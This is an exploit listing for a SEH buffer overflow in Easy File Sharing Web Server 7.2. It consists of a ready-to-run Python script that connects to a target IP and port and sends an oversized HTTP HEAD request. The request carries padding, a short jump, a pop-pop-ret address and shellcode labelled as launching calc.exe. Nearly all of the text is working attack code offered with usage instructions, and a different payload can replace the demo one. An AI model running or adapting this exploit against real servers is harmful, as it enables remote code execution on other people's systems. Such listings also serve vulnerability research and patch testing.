Easy File Sharing Web Server 7.2 – HEAD Request Buffer Overflow (SEH)
# Exploit Title: Easy File Sharing Web Server 7.2 - HEAD HTTP request SEH Buffer Overflow # Date: 12/2/2015 # Exploit Author: ArminCyber # Contact: Armin.Exploit@gmail.com # Version: 7.2 # Tested on: XP SP3 EN # category: Remote Exploit # Usage: ./exploit.py ip port import socket import sys host = str(sys.argv[1]) port = int(sys.argv[2]) a = socket.socket() print "Connecting to: " + host + ":" + str(port) a.connect((host,port)) entire=4500 # Junk buff = "A"*4061 # Next SEH buff+= "\xeb\x0A\x90\x90" # pop pop ret buff+= "\x98\x97\x01\x10" buff+= "\x90"*19 # calc.exe # Bad Characters: \x20 \x2f \x5c shellcode = ( "\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" "\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" "\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" "\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" "\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" "\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" "\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a" "\x1c\x39\xbd" ) buff+= shellcode buff+= "\x90"*7 buff+= "A"*(4500-4061-4-4-20-len(shellcode)-20) # HEAD a.send("HEAD " + buff + " HTTP/1.0\r\n\r\n") a.close() print "Done..." |